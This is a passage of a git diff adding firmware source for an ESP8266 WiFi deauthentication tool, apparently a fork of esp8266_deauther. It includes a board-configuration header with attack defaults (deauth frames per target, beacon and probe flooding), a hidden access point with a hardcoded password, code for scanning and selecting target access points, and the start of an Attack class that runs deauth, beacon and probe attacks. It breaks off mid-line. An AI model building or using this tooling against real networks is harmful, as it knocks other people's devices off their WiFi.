SH1106_I2C +// #define SSD1306_I2C + + #define I2C_ADDR 0x3C + #define I2C_SDA 5 + #define I2C_SCL 4 + +// #define FLIP_DIPLAY true + +// ===== BUTTONS ===== // + #define BUTTON_UP 14 + #define BUTTON_DOWN 12 + #define BUTTON_A 13 + +// ===== LED ===== // + #define LED_NEOPIXEL_GRB +// #define LED_NEOPIXEL_RGB + + #define LED_NUM 1 + #define LED_NEOPIXEL_PIN 9 + #define LED_MODE_BRIGHTNESS 10 + + +// https://github.com/SpacehuhnTech/esp8266_deauther/wiki/Setup-Display-&-Buttons#example-setup-with-spi-oled +#elif defined(DISPLAY_EXAMPLE_SPI) + + #define SH1106_SPI +// #define SSD1306_SPI + + #define SPI_RES 5 + #define SPI_DC 4 + #define SPI_CS 15 + +// #define FLIP_DIPLAY true + +// ===== BUTTONS ===== // + #define BUTTON_UP 0 + #define BUTTON_DOWN 12 + #define BUTTON_A 2 + +// ===== LED ===== // + #define LED_NEOPIXEL_GRB +// #define LED_NEOPIXEL_RGB + + #define LED_NUM 1 + #define LED_NEOPIXEL_PIN 9 + #define LED_MODE_BRIGHTNESS 10 + +#elif defined(MALTRONICS) + +// ===== Reset ====== // + #define RESET_BUTTON 5 + +// ===== LED ===== // + #define LED_DOTSTAR + #define LED_NUM 1 + #define LED_DOTSTAR_CLK 12 + #define LED_DOTSTAR_DATA 13 + #define LED_MODE_BRIGHTNESS 255 + +// ===== Web ===== // +#define WEB_IP_ADDR (192, 168, 4, 2) +#define WEB_URL "deauther.tools" + +#elif defined(DSTIKE_D_DUINO_B_V5_LED_RING) + +// ===== LED ===== // + #define LED_NEOPIXEL_GRB + #define LED_NUM 12 + #define LED_NEOPIXEL_PIN 15 + +// ===== DISPLAY ===== // + #define SH1106_I2C + #define FLIP_DIPLAY true + #define DISPLAY_TEXT "Hardware by DSTIKE" + +// ===== BUTTONS ===== // + #define BUTTON_UP 12 + #define BUTTON_DOWN 13 + #define BUTTON_A 14 + +#elif defined(DSTIKE_DEAUTHER_BOY) + +// ===== LED ===== // + #define LED_NEOPIXEL_GRB + #define LED_NUM 1 + #define LED_NEOPIXEL_PIN 15 + +// ===== DISPLAY ===== // + #define SH1106_I2C + #define FLIP_DIPLAY true + #define DISPLAY_TEXT "Hardware by DSTIKE" + +// ===== BUTTONS ===== // + #define BUTTON_UP 10 + #define BUTTON_DOWN 9 + #define BUTTON_A 14 + #define BUTTON_B 12 + +#elif defined(DSTIKE_DEAUTHER_V3_5) || defined(DSTIKE_NODEMCU_07_V2) + +// ===== LED ===== // + #define LED_NEOPIXEL_GRB + #define LED_NUM 1 + #define LED_NEOPIXEL_PIN 15 + +#elif defined(DSTIKE_DEAUTHER_OLED_V1_5_S) + +// ===== LED ===== // + #define LED_NEOPIXEL_GRB + #define LED_NUM 1 + #define LED_NEOPIXEL_PIN 15 + +// ===== DISPLAY ===== // + #define SH1106_I2C + #define FLIP_DIPLAY true + #define DISPLAY_TEXT "Hardware by DSTIKE" + +// ===== BUTTONS ===== // + #define BUTTON_UP 12 + #define BUTTON_DOWN 13 + #define BUTTON_A 14 + +#elif defined(DSTIKE_DEAUTHER_OLED) || defined(DSTIKE_DEAUTHER_OLED_V1_5) + +// ===== LED ===== // + #define LED_DIGITAL + + #define LED_PIN_R 16 + #define LED_PIN_B 2 + +// ===== DISPLAY ===== // + #define SSD1306_I2C + #define FLIP_DIPLAY true + #define DISPLAY_TEXT "Hardware by DSTIKE" + +// ===== BUTTONS ===== // + #define BUTTON_UP 12 + #define BUTTON_DOWN 13 + #define BUTTON_A 14 + +#elif defined(DSTIKE_DEAUTHER_OLED_V2) || defined(DSTIKE_DEAUTHER_OLED_V2_5) || defined(DSTIKE_DEAUTHER_OLED_V3) + +// ===== LED ===== // + #define LED_DIGITAL + + #define LED_PIN_R 16 + #define LED_PIN_B 2 + +// ===== DISPLAY ===== // + #define SH1106_I2C + #define FLIP_DIPLAY true + #define DISPLAY_TEXT "Hardware by DSTIKE" + +// ===== BUTTONS ===== // + #define BUTTON_UP 12 + #define BUTTON_DOWN 13 + #define BUTTON_A 14 + +#elif defined(DSTIKE_DEAUTHER_OLED_V3_5) || defined(DSTIKE_DEAUTHER_OLED_V4) || defined(DSTIKE_DEAUTHER_OLED_V5) || defined(DSTIKE_DEAUTHER_MOSTER) || defined(DSTIKE_DEAUTHER_MOSTER_V2) || defined(DSTIKE_DEAUTHER_MOSTER_V3) || defined(DSTIKE_DEAUTHER_MOSTER_V4) + +// ===== LED ===== // + #define LED_NEOPIXEL_GRB + #define LED_NUM 1 + #define LED_NEOPIXEL_PIN 15 + +// ===== DISPLAY ===== // + #define SH1106_I2C + #define FLIP_DIPLAY true + #define DISPLAY_TEXT "Hardware by DSTIKE" + +// ===== BUTTONS ===== // + #define BUTTON_UP 12 + #define BUTTON_DOWN 13 + #define BUTTON_A 14 + +#elif defined(DSTIKE_DEAUTHER_OLED_V6) || defined(DSTIKE_DEAUTHER_MOSTER_V5) + +// ===== LED ===== // + #define LED_NEOPIXEL_GRB + #define LED_NUM 1 + #define LED_NEOPIXEL_PIN 15 + + #define HIGHLIGHT_LED 16 + +// ===== DISPLAY ===== // + #define SH1106_I2C + #define FLIP_DIPLAY true + #define DISPLAY_TEXT "Hardware by DSTIKE" + + #define RTC_DS3231 + +// ===== BUTTONS ===== // + #define BUTTON_UP 12 + #define BUTTON_DOWN 13 + #define BUTTON_A 14 + +#elif defined(DSTIKE_USB_DEAUTHER_V2) + +// ===== LED ===== // + #define LED_NEOPIXEL_GRB + #define LED_NUM 1 + #define LED_NEOPIXEL_PIN 4 + +#elif defined(DSTIKE_DEAUTHER_WATCH) || defined(DSTIKE_DEAUTHER_MINI) + +// ===== LED ===== // + #define LED_NEOPIXEL_GRB + #define LED_NUM 1 + #define LED_NEOPIXEL_PIN 15 + + #define HIGHLIGHT_LED 16 + +// ===== DISPLAY ===== // + #define SH1106_I2C + #define FLIP_DIPLAY true + #define DISPLAY_TEXT "Hardware by DSTIKE" + +// ===== BUTTONS ===== // + #define BUTTON_UP 12 + #define BUTTON_DOWN 13 + #define BUTTON_A 14 + +#elif defined(DSTIKE_DEAUTHER_WATCH_V2) || defined(DSTIKE_DEAUTHER_MINI_EVO) + +// ===== LED ===== // + #define LED_NEOPIXEL_GRB + #define LED_NUM 1 + #define LED_NEOPIXEL_PIN 15 + + #define HIGHLIGHT_LED 16 + +// ===== DISPLAY ===== // + #define SH1106_I2C + #define FLIP_DIPLAY true + #define DISPLAY_TEXT "Hardware by DSTIKE" + + #define RTC_DS3231 + +// ===== BUTTONS ===== // + #define BUTTON_UP 12 + #define BUTTON_DOWN 13 + #define BUTTON_A 14 + +#elif defined(LYASI_7W_E27_LAMP) + +// ===== LED ===== // + #define LED_MY92 + + #define LED_MODE_OFF 0, 0, 0 + #define LED_MODE_SCAN 0, 0, 255 + #define LED_MODE_ATTACK 255, 0, 0 + #define LED_MODE_IDLE 0, 255, 0 + #define LED_MODE_BRIGHTNESS 10 + + #define LED_NUM 1 + #define LED_MY92_DATA 4 + #define LED_MY92_CLK 5 + #define LED_MY92_CH_R 0 + #define LED_MY92_CH_G 1 + #define LED_MY92_CH_B 2 + #define LED_MY92_CH_BRIGHTNESS 3 + #define LED_MY92_MODEL MY92XX_MODEL_MY9291 + +#elif defined(AVATAR_5W_E14_LAMP) + +// ===== LED ===== // + #define LED_MY92 + + #define LED_MODE_OFF 0, 0, 0 + #define LED_MODE_SCAN 0, 0, 255 + #define LED_MODE_ATTACK 255, 0, 0 + #define LED_MODE_IDLE 0, 255, 0 + #define LED_MODE_BRIGHTNESS 10 + + #define LED_NUM 1 + #define LED_MY92_DATA 13 + #define LED_MY92_CLK 15 + #define LED_MY92_CH_R 0 + #define LED_MY92_CH_G 1 + #define LED_MY92_CH_B 2 + #define LED_MY92_CH_BRIGHTNESS 3 + #define LED_MY92_MODEL MY92XX_MODEL_MY9291 + +#elif defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(DSTIKE_USB_DEAUTHER) || defined(DSTIKE_NODEMCU_07) || defined(DSTIKE_DEAUTHER_V1) || defined(DSTIKE_DEAUTHER_V2) || defined(DSTIKE_DEAUTHER_V3) +// ===== LED ===== // +// #define LED_DIGITAL +// #define LED_PIN_R 16 // NodeMCU on-board LED +// #define LED_PIN_B 2 // ESP-12 LEDS + #define LED_DIGITAL + #define ONE_HIT 0 + #define LED_PIN_R 16 + #define LED_PIN_B 2 + + #define I2C_SDA 4 + #define I2C_SCL 5 +// ===== DISPLAY ===== // + #define SSD1306_I2C + #define FLIP_DIPLAY true + #define DISPLAY_TEXT "GitHub : @dx4grey" + +// ===== BUTTONS ===== // + #define BUTTON_UP 14 + #define BUTTON_DOWN 12 + #define BUTTON_A 13 + #define BUTTON_B 2 + +#endif /* if defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(DSTIKE_USB_DEAUTHER) || defined(DSTIKE_NODEMCU_07) || defined(DSTIKE_DEAUTHER) || defined(DSTIKE_DEAUTHER_V1) || defined(DSTIKE_DEAUTHER_V2) || defined(DSTIKE_DEAUTHER_V3) */ +// ============================== // + + +// ========= FALLBACK ========= // + +// ===== AUTOSAVE ===== // +#ifndef AUTOSAVE_ENABLED + #define AUTOSAVE_ENABLED true +#endif /* ifndef ATTACK_ALL_CH */ + +#ifndef AUTOSAVE_TIME + #define AUTOSAVE_TIME 60 +#endif /* ifndef ATTACK_ALL_CH */ + +// ===== ATTACK ===== // +#ifndef ATTACK_ALL_CH + #define ATTACK_ALL_CH false +#endif /* ifndef ATTACK_ALL_CH */ + +#ifndef RANDOM_TX + #define RANDOM_TX false +#endif /* ifndef RANDOM_TX */ + +#ifndef ATTACK_TIMEOUT + #define ATTACK_TIMEOUT 600 +#endif /* ifndef ATTACK_TIMEOUT */ + +#ifndef DEAUTHS_PER_TARGET + #define DEAUTHS_PER_TARGET 25 +#endif /* ifndef DEAUTHS_PER_TARGET */ + +#ifndef DEAUTH_REASON + #define DEAUTH_REASON 1 +#endif /* ifndef DEAUTH_REASON */ + +#ifndef BEACON_INTERVAL_100MS + #define BEACON_INTERVAL_100MS true +#endif /* ifndef BEACON_INTERVAL_100MS */ + +#ifndef PROBE_FRAMES_PER_SSID + #define PROBE_FRAMES_PER_SSID 1 +#endif /* ifndef PROBE_FRAMES_PER_SSID */ + +// ===== SNIFFER ===== // +#ifndef CH_TIME + #define CH_TIME 200 +#endif /* ifndef CH_TIME */ + +#ifndef MIN_DEAUTH_FRAMES + #define MIN_DEAUTH_FRAMES 3 +#endif /* ifndef MIN_DEAUTH_FRAMES */ + +// ===== ACCESS POINT ===== // +#ifndef AP_SSID + #define AP_SSID "Dx4Grey" +#endif /* ifndef AP_SSID */ + +#ifndef AP_PASSWD + #define AP_PASSWD "Dx4White" +#endif /* ifndef AP_PASSWD */ + +#ifndef AP_HIDDEN + #define AP_HIDDEN true +#endif /* ifndef AP_HIDDEN */ + +#ifndef AP_IP_ADDR + #define AP_IP_ADDR { 192, 168, 4, 1 } +#endif /* ifndef AP_IP_ADDR */ + +// ===== WEB INTERFACE ===== // +#ifndef WEB_ENABLED + #define WEB_ENABLED true +#endif /* ifndef WEB_ENABLED */ + +#ifndef WEB_CAPTIVE_PORTAL + #define WEB_CAPTIVE_PORTAL false +#endif /* ifndef WEB_CAPTIVE_PORTAL */ + +#ifndef WEB_USE_SPIFFS + #define WEB_USE_SPIFFS false +#endif /* ifndef WEB_USE_SPIFFS */ + +#ifndef DEFAULT_LANG + #define DEFAULT_LANG "in" +#endif /* ifndef DEFAULT_LANG */ + +// ===== CLI ===== // +#ifndef CLI_ENABLED + #define CLI_ENABLED true +#endif /* ifndef CLI_ENABLED */ + +#ifndef CLI_ECHO + #define CLI_ECHO true +#endif /* ifndef CLI_ECHO */ + +// =============== LED =============== // +#if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB) + #define LED_NEOPIXEL +#endif /* if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB) */ + +#if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR) + #define LED_DIGITAL + #define USE_LED false +#else // if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR) + #define USE_LED true +#endif // if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR) + +#ifndef LED_PIN_R + #define LED_PIN_R 255 +#endif /* ifndef LED_PIN_R */ + +#ifndef LED_PIN_G + #define LED_PIN_G 255 +#endif /* ifndef LED_PIN_G */ + +#ifndef LED_PIN_B + #define LED_PIN_B 255 +#endif /* ifndef LED_PIN_B */ + +#ifndef LED_ANODE + #define LED_ANODE false +#endif /* ifndef LED_ANODE */ + +#ifndef LED_MODE_OFF + #define LED_MODE_OFF 0, 0, 0 +#endif /* ifndef LED_MODE_OFF */ + +#ifndef LED_MODE_SCAN + #define LED_MODE_SCAN 0, 0, 255 +#endif /* ifndef LED_MODE_SCAN */ + +#ifndef LED_MODE_ATTACK + #define LED_MODE_ATTACK 255, 0, 0 +#endif /* ifndef LED_MODE_ATTACK */ + +#ifndef LED_MODE_IDLE + #define LED_MODE_IDLE 0, 255, 0 +#endif /* ifndef LED_MODE_IDLE */ + +#ifndef LED_MODE_BRIGHTNESS + #define LED_MODE_BRIGHTNESS 10 +#endif /* ifndef LED_MODE_BRIGHTNESS */ + +// =============== DISPLAY =============== // + +#ifndef DISPLAY_TIMEOUT + #define DISPLAY_TIMEOUT 1000 +#endif /* ifndef DISPLAY_TIMEOUT */ + +#ifndef DISPLAY_TEXT + #define DISPLAY_TEXT "" +#endif /* ifndef DISPLAY_TEXT */ + +#ifndef FLIP_DIPLAY + #define FLIP_DIPLAY false +#endif /* ifndef FLIP_DIPLAY */ + +#if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) + #define SSD1306_I2C + #define USE_DISPLAY false +#else /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */ + #define USE_DISPLAY true +#endif /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */ + +#ifndef I2C_ADDR + #define I2C_ADDR 0x3C +#endif /* ifndef I2C_ADDR */ + +#ifndef I2C_SDA + #define I2C_SDA 5 +#endif /* ifndef I2C_SDA */ + +#ifndef I2C_SCL + #define I2C_SCL 4 +#endif /* ifndef I2C_SCL */ + +#ifndef SPI_RES + #define SPI_RES 5 +#endif /* ifndef SPI_RES */ + +#ifndef SPI_DC + #define SPI_DC 4 +#endif /* ifndef SPI_DC */ + +#ifndef SPI_CS + #define SPI_CS 15 +#endif /* ifndef SPI_CS */ + +// =============== BUTTONS =============== // +#ifndef BUTTON_UP + #define BUTTON_UP 255 +#endif // ifndef BUTTON_UP + +#ifndef BUTTON_DOWN + #define BUTTON_DOWN 255 +#endif // ifndef BUTTON_DOWN + +#ifndef BUTTON_A + #define BUTTON_A 255 +#endif // ifndef BUTTON_A + +#ifndef BUTTON_B + #define BUTTON_B 255 +#endif // ifndef BUTTON_B + +// ===== Reset ====== // +#ifndef RESET_BUTTON + #if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0 + #define RESET_BUTTON 0 + #else // if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0 + #define RESET_BUTTON 255 + #endif // if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0 +#endif // ifndef RESET_BUTTON + +// ===== Web ===== // +#ifndef WEB_IP_ADDR + #define WEB_IP_ADDR (192, 168, 4, 1) +#endif // ifndef WEB_IP_ADDR + +#ifndef WEB_URL + #define WEB_URL "dx4.wifitools.com" +#endif // ifndef WEB_URL + +// ======== CONSTANTS ========== // +// Do not change these values unless you know what you're doing! +#define DEAUTHER_VERSION "1.0" +#define DEAUTHER_VERSION_MAJOR 2 +#define DEAUTHER_VERSION_MINOR 6 +#define DEAUTHER_VERSION_REVISION 1 + +#define EEPROM_SIZE 4095 +#define BOOT_COUNTER_ADDR 1 +#define SETTINGS_ADDR 100 + +// ======== AVAILABLE SETTINGS ========== // + + +/* + // ===== ATTACK ===== // + #define ATTACK_ALL_CH false + #define RANDOM_TX false + #define ATTACK_TIMEOUT 600 + #define DEAUTHS_PER_TARGET 25 + #define DEAUTH_REASON 1 + #define BEACON_INTERVAL_100MS true + #define PROBE_FRAMES_PER_SSID 1 + + // ====== SNIFFER ====== // + #define CH_TIME 200 + #define MIN_DEAUTH_FRAMES 3 + + // ===== ACCESS POINT ===== // + #define AP_SSID "pwned" + #define AP_PASSWD "deauther" + #define AP_HIDDEN false + #define AP_IP_ADDR {192, 168, 4, 1} + + // ===== WEB INTERFACE ===== // + #define WEB_ENABLED true + #define WEB_CAPTIVE_PORTAL false + #define WEB_USE_SPIFFS false + #define DEFAULT_LANG "en" + + // ===== CLI ===== // + #define CLI_ENABLED true + #define CLI_ECHO true + + // ===== LED ===== // + #define USE_LED true + #define LED_DIGITAL + #define LED_RGB + #define LED_NEOPIXEL + #define LED_MY92 + + #define LED_ANODE false + + #define LED_PIN_R 16 + #define LED_PIN_G 255 + #define LED_PIN_B 2 + + #define LED_NEOPIXEL_RGB + #define LED_NEOPIXEL_GRB + + #define LED_NUM 1 + #define LED_NEOPIXEL_PIN 255 + + #define LED_MODE_OFF 0,0,0 + #define LED_MODE_SCAN 0,0,255 + #define LED_MODE_ATTACK 255,0,0 + #define LED_MODE_IDLE 0,255,0 + #define LED_MODE_BRIGHTNESS 10 + + #define LED_NUM 1 + #define LED_MY92_DATA 4 + #define LED_MY92_CLK 5 + #define LED_MY92_CH_R 0 + #define LED_MY92_CH_G 1 + #define LED_MY92_CH_B 2 + #define LED_MY92_CH_BRIGHTNESS 3 + #define LED_MY92_MODEL MY92XX_MODEL_MY9291 + #define LED_MY92_MODEL MY92XX_MODEL_MY9231 + + #define LED_DOTSTAR + #define LED_NUM 1 + #define LED_DOTSTAR_CLK 12 + #define LED_DOTSTAR_DATA 13 + + // ===== DISPLAY ===== // + #define USE_DISPLAY false + #define DISPLAY_TIMEOUT 600 + #define FLIP_DIPLAY false + + #define SSD1306_I2C + #define SSD1306_SPI + #define SH1106_I2C + #define SH1106_SPI + + #define I2C_ADDR 0x3C + #define I2C_SDA 5 + #define I2C_SCL 4 + + #define SPI_RES 5 + #define SPI_DC 4 + #define SPI_CS 15 + + // ===== BUTTONS ===== // + #define BUTTON_UP 255 + #define BUTTON_DOWN 255 + #define BUTTON_A 255 + #define BUTTON_B 255 + + // ===== Reset ====== // + #define RESET_BUTTON 5 + + + // ===== Web ===== // + #define WEB_IP_ADDR (192, 168, 4, 1) + #define WEB_URL "deauth.me" + + */ + + +// ========== ERROR CHECKS ========== // +#if LED_MODE_BRIGHTNESS == 0 +#error LED_MODE_BRIGHTNESS must not be zero! +#endif /* if LED_MODE_BRIGHTNESS == 0 */ \ No newline at end of file diff --git a/esp8266_wifitools/Accesspoints.cpp b/esp8266_wifitools/Accesspoints.cpp new file mode 100644 index 0000000..61697b1 --- /dev/null +++ b/esp8266_wifitools/Accesspoints.cpp @@ -0,0 +1,314 @@ +/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ + +#include "Accesspoints.h" + +Accesspoints::Accesspoints() { + list = new SimpleList; +} + +void Accesspoints::sort() { + list->setCompare([](AP& a, AP& b) -> int { + if (WiFi.RSSI(a.id) > WiFi.RSSI(b.id)) return -1; + + if (WiFi.RSSI(a.id) == WiFi.RSSI(b.id)) return 0; + + return 1; + }); + list->sort(); + changed = true; +} + +void Accesspoints::sortAfterChannel() { + list->setCompare([](AP& a, AP& b) -> int { + if (WiFi.channel(a.id) < WiFi.channel(b.id)) return -1; + + if (WiFi.channel(a.id) == WiFi.channel(b.id)) return 0; + + return 1; + }); + list->sort(); + changed = true; +} + +void Accesspoints::add(uint8_t id, bool selected) { + list->add(AP{ id, selected }); + changed = true; +} + +void Accesspoints::printAll() { + prntln(AP_HEADER); + int c = count(); + + if (c == 0) prntln(AP_LIST_EMPTY); + else + for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1); +} + +void Accesspoints::printSelected() { + prntln(AP_HEADER); + int max = selected(); + + if (selected() == 0) { + prntln(AP_NO_AP_SELECTED); + return; + } + int c = count(); + int j = 0; + + for (int i = 0; i < c && j < max; i++) { + if (getSelected(i)) { + print(i, j == 0, j == max - 1); + j++; + } + } +} + +void Accesspoints::print(int num) { + print(num, true, true); +} + +void Accesspoints::print(int num, bool header, bool footer) { + if (!check(num)) return; + + if (header) { + prntln(AP_TABLE_HEADER); + prntln(AP_TABLE_DIVIDER); + } + prnt(leftRight(String(), (String)num, 2)); + prnt(leftRight(String(SPACE) + getSSID(num), String(), 33)); + prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17)); + prnt(leftRight(String(SPACE), (String)getCh(num), 3)); + prnt(leftRight(String(SPACE), (String)getRSSI(num), 5)); + prnt(leftRight(String(SPACE), getEncStr(num), 5)); + prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18)); + prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9)); + prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9)); + + if (footer) { + prntln(AP_TABLE_DIVIDER); + } +} + +String Accesspoints::getSSID(int num) { + if (!check(num)) return String(); + + if (getHidden(num)) { + return str(AP_HIDDE_SSID); + } else { + String ssid = WiFi.SSID(getID(num)); + ssid = ssid.substring(0, 32); + ssid = fixUtf8(ssid); + return ssid; + } +} + +String Accesspoints::getNameStr(int num) { + if (!check(num)) return String(); + + return names.find(getMac(num)); +} + +uint8_t Accesspoints::getCh(int num) { + if (!check(num)) return 0; + + return WiFi.channel(getID(num)); +} + +int Accesspoints::getRSSI(int num) { + if (!check(num)) return 0; + + return WiFi.RSSI(getID(num)); +} + +uint8_t Accesspoints::getEnc(int num) { + if (!check(num)) return 0; + + return WiFi.encryptionType(getID(num)); +} + +String Accesspoints::getEncStr(int num) { + if (!check(num)) return String(); + + switch (getEnc(num)) { + case ENC_TYPE_NONE: + return String(DASH); + + break; + + case ENC_TYPE_WEP: + return str(AP_WEP); + + break; + + case ENC_TYPE_TKIP: + return str(AP_WPA); + + break; + + case ENC_TYPE_CCMP: + return str(AP_WPA2); + + break; + + case ENC_TYPE_AUTO: + return str(AP_AUTO); + + break; + } + return String(QUESTIONMARK); +} + +String Accesspoints::getSelectedStr(int num) { + return b2a(getSelected(num)); +} + +uint8_t* Accesspoints::getMac(int num) { + if (!check(num)) return 0; + + return WiFi.BSSID(getID(num)); +} + +String Accesspoints::getMacStr(int num) { + if (!check(num)) return String(); + + uint8_t* mac = getMac(num); + + return bytesToStr(mac, 6); +} + +String Accesspoints::getVendorStr(int num) { + if (!check(num)) return String(); + + return searchVendor(getMac(num)); +} + +bool Accesspoints::getHidden(int num) { + if (!check(num)) return false; + + return WiFi.isHidden(getID(num)); +} + +bool Accesspoints::getSelected(int num) { + if (!check(num)) return false; + + return list->get(num).selected; +} + +uint8_t Accesspoints::getID(int num) { + if (!check(num)) return -1; + + return list->get(num).id; +} + +void Accesspoints::select(int num) { + if (!check(num)) return; + + internal_select(num); + + prnt(AP_SELECTED); + prntln(getSSID(num)); + + changed = true; +} + +void Accesspoints::deselect(int num) { + if (!check(num)) return; + + internal_deselect(num); + + prnt(AP_DESELECTED); + prntln(getSSID(num)); + + changed = true; +} + +void Accesspoints::remove(int num) { + if (!check(num)) return; + + prnt(AP_REMOVED); + prntln(getSSID(num)); + + internal_remove(num); + + changed = true; +} + +void Accesspoints::select(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getSSID(i).equalsIgnoreCase(ssid)) select(i); + } +} + +void Accesspoints::deselect(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getSSID(i).equalsIgnoreCase(ssid)) deselect(i); + } +} + +void Accesspoints::remove(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getSSID(i).equalsIgnoreCase(ssid)) remove(i); + } +} + +void Accesspoints::selectAll() { + for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true }); + prntln(AP_SELECTED_ALL); + changed = true; +} + +void Accesspoints::deselectAll() { + for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false }); + prntln(AP_DESELECTED_ALL); + changed = true; +} + +void Accesspoints::removeAll() { + while (count() > 0) internal_remove(0); + prntln(AP_REMOVED_ALL); + changed = true; +} + +int Accesspoints::find(uint8_t id) { + int s = list->size(); + + for (int i = 0; i < s; i++) { + if (list->get(i).id == id) return i; + } + return -1; +} + +int Accesspoints::count() { + return list->size(); +} + +int Accesspoints::selected() { + int c = 0; + + for (int i = 0; i < list->size(); i++) c += list->get(i).selected; + return c; +} + +bool Accesspoints::check(int num) { + if (internal_check(num)) return true; + + prnt(AP_NO_AP_ERROR); + prntln((String)num); + return false; +} + +bool Accesspoints::internal_check(int num) { + return num >= 0 && num < count(); +} + +void Accesspoints::internal_select(int num) { + list->replace(num, AP{ list->get(num).id, true }); +} + +void Accesspoints::internal_deselect(int num) { + list->replace(num, AP{ list->get(num).id, false }); +} + +void Accesspoints::internal_remove(int num) { + list->remove(num); +} \ No newline at end of file diff --git a/esp8266_wifitools/Accesspoints.h b/esp8266_wifitools/Accesspoints.h new file mode 100644 index 0000000..f060ef6 --- /dev/null +++ b/esp8266_wifitools/Accesspoints.h @@ -0,0 +1,80 @@ +/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ + +#pragma once + +#include "Arduino.h" +#include +extern "C" { + #include "user_interface.h" +} +#include "language.h" +#include "SimpleList.h" +#include "Names.h" + +extern Names names; + +extern String searchVendor(uint8_t* mac); +extern String leftRight(String a, String b, int len); +extern String fixUtf8(String str); +extern String bytesToStr(const uint8_t* b, uint32_t size); + +struct AP { + uint8_t id; + bool selected; +}; + +class Accesspoints { + public: + Accesspoints(); + + void sort(); + void sortAfterChannel(); + + void add(uint8_t id, bool selected); + + void print(int num); + void print(int num, bool header, bool footer); + + void select(int num); + void deselect(int num); + void remove(int num); + void select(String ssid); + void deselect(String ssid); + void remove(String ssid); + + void printAll(); + void printSelected(); + void selectAll(); + void deselectAll(); + void removeAll(); + + String getSSID(int num); + String getNameStr(int num); + String getEncStr(int num); + String getMacStr(int num); + String getVendorStr(int num); + String getSelectedStr(int num); + uint8_t getCh(int num); + uint8_t getEnc(int num); + uint8_t getID(int num); + int getRSSI(int num); + uint8_t* getMac(int num); + bool getHidden(int num); + bool getSelected(int num); + + int find(uint8_t id); + + int count(); + int selected(); + + bool check(int num); + bool changed = false; + + private: + SimpleList* list; + + bool internal_check(int num); + void internal_select(int num); + void internal_deselect(int num); + void internal_remove(int num); +}; \ No newline at end of file diff --git a/esp8266_wifitools/Attack.cpp b/esp8266_wifitools/Attack.cpp new file mode 100644 index 0000000..b565190 --- /dev/null +++ b/esp8266_wifitools/Attack.cpp @@ -0,0 +1,473 @@ +/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ + +#include "Attack.h" + +#include "settings.h" + +Attack::Attack() { + getRandomMac(mac); + + if (settings::getAttackSettings().beacon_interval == INTERVAL_1S) { + // 1s beacon interval + beaconPacket[32] = 0xe8; + beaconPacket[33] = 0x03; + } else { + // 100ms beacon interval + beaconPacket[32] = 0x64; + beaconPacket[33] = 0x00; + } + + deauth.time = currentTime; + beacon.time = currentTime; + probe.time = currentTime; +} + +void Attack::start() { + stop(); + prntln(A_START); + attackTime = currentTime; + attackStartTime = currentTime; + accesspoints.sortAfterChannel(); + stations.sortAfterChannel(); + running = true; +} + +void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) { + Attack::beacon.active = beacon; + Attack::deauth.active = deauth || deauthAll; + Attack::deauthAll = deauthAll; + Attack::probe.active = probe; + + Attack::output = output; + Attack::timeout = timeout; + + // if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth && + // scan.countSelected() > 0)){ + if (beacon || probe || deauthAll || deauth) { + start(); + } else { + prntln(A_NO_MODE_ERROR); + accesspoints.sort(); + stations.sort(); + stop(); + } +} + +void Attack::stop() { + if (running) { + running = false; + deauthPkts = 0; + beaconPkts = 0; + probePkts = 0; + deauth.packetCounter = 0; + beacon.packetCounter = 0; + probe.packetCounter = 0; + deauth.maxPkts = 0; + beacon.maxPkts = 0; + probe.maxPkts = 0; + packetRate = 0; + deauth.tc = 0; + beacon.tc = 0; + probe.tc = 0; + deauth.active = false; + beacon.active = false; + probe.active = false; + prntln(A_STOP); + } +} + +bool Attack::isRunning() { + return running; +} + +void Attack::updateCounter() { + // stop when timeout is active and time is up + if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) { + prntln(A_TIMEOUT); + stop(); + return; + } + + // deauth packets per second + if (deauth.active) { + if (deauthAll) deauth.maxPkts = settings::getAttackSettings().deauths_per_target * + (accesspoints.count() + stations.count() * 2 - names.selected()); + else deauth.maxPkts = settings::getAttackSettings().deauths_per_target * + (accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations()); + } else { + deauth.maxPkts = 0; + } + + // beacon packets per second + if (beacon.active) { + beacon.maxPkts = ssids.count(); + + if (settings::getAttackSettings().beacon_interval == INTERVAL_100MS) beacon.maxPkts *= 10; + } else { + beacon.maxPkts = 